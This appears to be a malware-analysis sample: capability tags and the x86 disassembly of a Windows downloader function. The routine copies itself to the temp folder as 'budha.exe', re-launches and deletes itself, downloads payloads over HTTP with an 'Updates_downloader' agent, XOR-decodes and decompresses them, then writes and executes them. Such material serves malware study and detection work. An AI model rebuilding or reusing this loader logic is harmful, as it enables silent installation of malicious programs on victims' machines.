Function at 0x391053
Capabilities:
Compress data via winapi
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8d4
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov dword [ebp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0xffffffff
jne 0x39107a
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
mov esi, 0x2000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push esi
push 8
push eax
mov dword [ebp + 0x68], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 8
push dword [ebp + 0x68]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push edi
push ebx
mov dword [ebp + 0x6c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp + 0x6c]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.budha.exe
push dword [ebp + 0x6c]
push str._s_s
push dword [ebp + 0x6c]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x64], eax
cmp eax, 0xffffffff
jne 0x391100
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
add ebp, 0x78
leave
ret
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov dword [ebp + 0x74], eax
call esi
mov ecx, dword [ebp + 0x74]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp + 0x68]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 0x60], eax
cmp eax, ebx
je 0x391072
push ebx
lea ecx, [ebp + 0x54]
push ecx
push dword [ebp + 0x74]
push eax
push dword [ebp + 0x64]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0x6c]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x3911e3
push edi
call esi
lea eax, [eax + eax + 2]
push eax
mov eax, dword [ebp + 0x60]
add eax, dword [ebp + 0x74]
push edi
push eax
call fcn.0039102e
add esp, 0xc
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 0x6c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x58], eax
cmp eax, 0xffffffff
je 0x3910f5
push ebx
lea eax, [ebp + 0x54]
push eax
push edi
call esi
mov ecx, dword [ebp + 0x74]
lea eax, [ecx + eax*2 + 4]
push eax
push dword [ebp + 0x60]
push dword [ebp + 0x58]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 0x64]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp + 0x58]
call esi
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
push edi
push ebx
push dword [ebp + 0x6c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebx
jmp 0x391074
mov ecx, dword [ebp + 0x60]
mov eax, dword [ecx + 0x3c]
push dword [ebp + 0x64]
add eax, ecx
movzx edx, word [eax + 6]
imul edx, edx, 0x28
lea eax, [edx + eax + 0xd0]
mov esi, dword [eax + 0x14]
add esi, dword [eax + 0x10]
add esi, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0x74], ebx
jmp 0x39121b
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 0x4e20
jg 0x391226
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x39120f
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push ebx
push dword [ebp + 0x68]
call esi
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x68]
call esi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov dword [ebp + 0x44], esi
cmp esi, ebx
je 0x3910f5
push str.RtlDecompressBuffer
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [section..bss], eax
cmp eax, ebx
jne 0x391275
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x3910f5
mov esi, 0x100
push esi
push 8
push dword [ebp + 0x68]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp + 0x50], edi
cmp edi, ebx
je 0x3910f5
lea eax, [ebp + 0x3c]
push eax
push esi
push section..links
push 0x400
push edi
push 0x102
mov dword [ebp + 0x3c], ebx
call dword [section..bss]
push ebx
push ebx
push ebx
push ebx
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp + 0x38], eax
cmp eax, ebx
je 0x3910f5
or dword [ebp + 0x6c], 0xffffffff
mov dword [ebp + 0x28], str.text_
mov dword [ebp + 0x2c], str.application_
mov dword [ebp + 0x30], ebx
jmp 0x3912e5
mov edi, dword [ebp + 0x50]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
mov ecx, dword [ebp + 0x6c]
imul eax, eax, 0x6c
cmp ecx, dword [eax + edi + 0x68]
jl 0x391305
mov dword [ebp + 0x6c], ebx
mov esi, dword [ebp + 0x6c]
add esi, dword [ebp + 0x48]
mov dword [ebp + 0x74], ebx
mov eax, esi
imul eax, eax, 0x6c
add eax, edi
mov dword [ebp + 0x40], esi
mov dword [ebp + 0x60], eax
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [ebp + 0x60]
push dword [ebp + 0x38]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp + 0x5c], eax
cmp eax, ebx
jne 0x391341
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 3
jl 0x39131b
jmp 0x3912e5
imul esi, esi, 0x6c
lea eax, [esi + edi]
mov dword [ebp + 0x74], ebx
mov dword [ebp + 0x60], eax
lea esi, [eax + 0x20]
push ebx
push 0x80000000
lea eax, [ebp + 0x28]
push eax
push ebx
push ebx
push esi
push ebx
push dword [ebp + 0x5c]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0x68], eax
cmp eax, ebx
jne 0x39137c
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 3
jl 0x391350
jmp 0x3912e5
xor esi, esi
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 0x68]
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x391395
inc esi
cmp esi, 2
jl 0x39137e
cmp esi, 2
je 0x3912e5
mov dword [ebp + 0x34], 4
mov dword [ebp + 0x70], ebx
xor esi, esi
push ebx
lea eax, [ebp + 0x34]
push eax
lea eax, [ebp + 0x70]
push eax
push 0x20000005
push dword [ebp + 0x68]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x3913cb
inc esi
cmp esi, 3
jl 0x3913aa
mov eax, dword [ebp + 0x70]
push ebx
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push dword [ebp + 0x70]
mov dword [ebp + 0x5c], eax
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp + 0x58], esi
cmp esi, ebx
je 0x3915a8
mov dword [ebp + 0x54], ebx
mov dword [ebp + 0x74], ebx
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp + 0x54]
push eax
push dword [ebp + 0x70]
mov dword [ebp + 0x64], esi
push esi
jmp 0x391428
mov eax, dword [ebp + 0x54]
add dword [ebp + 0x64], eax
cmp eax, ebx
je 0x391431
cmp eax, dword [ebp + 0x70]
je 0x391431
lea eax, [ebp + 0x54]
push eax
push dword [ebp + 0x70]
push dword [ebp + 0x64]
push dword [ebp + 0x68]
call edi
test eax, eax
jne 0x39140f
mov ecx, dword [ebp + 0x64]
mov eax, dword [ebp + 0x70]
sub ecx, esi
cmp ecx, eax
je 0x391446
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 0x14
jl 0x3913fc
cmp dword [ebp + 0x74], 0x14
je 0x3912e2
cmp byte [esi], 0x5a
jne 0x3914d2
cmp byte [esi + 1], 0x5a
jne 0x3914d2
cmp byte [esi + 2], 0x50
jne 0x3914d2
cmp byte [esi + 3], bl
jne 0x3914d2
shl eax, 2
push eax
push 8
push dword [ebp + 0x5c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 0x5c], eax
cmp eax, ebx
je 0x3910f5
mov edi, dword [ebp + 0x70]
mov eax, dword [ebp + 0x60]
mov eax, dword [eax + 0x60]
mov edx, edi
xor ecx, ecx
and edi, 0xfffffffc
shl edx, 2
inc ecx
mov dword [ebp + 0x4c], ebx
cmp edi, 4
jbe 0x3914aa
xor dword [esi + ecx*4], eax
mov edi, dword [ebp + 0x70]
inc ecx
shr edi, 2
cmp ecx, edi
jb 0x39149c
sub dword [ebp + 0x70], 4
lea eax, [ebp + 0x4c]
push eax
push dword [ebp + 0x70]
add esi, 4
push esi
mov esi, dword [ebp + 0x5c]
push edx
push esi
push 0x102
call dword [section..bss]
mov eax, dword [ebp + 0x4c]
mov dword [ebp + 0x58], esi
mov dword [ebp + 0x70], eax
push dword [ebp + 0x44]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [esi], 0x4d
jne 0x39158b
cmp byte [esi + 1], 0x5a
jne 0x39158b
push 5
pop ecx
push 0x6c
lea eax, [ebp - 0x48]
push ebx
mov esi, str.kilf1.exe
lea edi, [ebp - 0x5c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00391000
mov eax, dword [ebp + 0x40]
add esp, 0xc
push ebx
push 0x80
push 2
push ebx
add eax, 0x31
push 2
mov word [ebp - 0x54], ax
push 0x40000000
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp + 0x24]
push eax
push dword [ebp + 0x70]
push dword [ebp + 0x58]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x85c]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x85c]
push eax
push 0x393084
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push ebx
push ebx
lea eax, [ebp - 0x85c]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp + 0x60]
mov ecx, dword [0x394100]
mov eax, dword [eax + 0x68]
dec ecx
mov dword [ebp + 0x48], eax
cmp eax, ecx
jge 0x3911dd
jmp 0x3912e2
push dword [ebp + 0x5c]
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
jmp 0x3910f5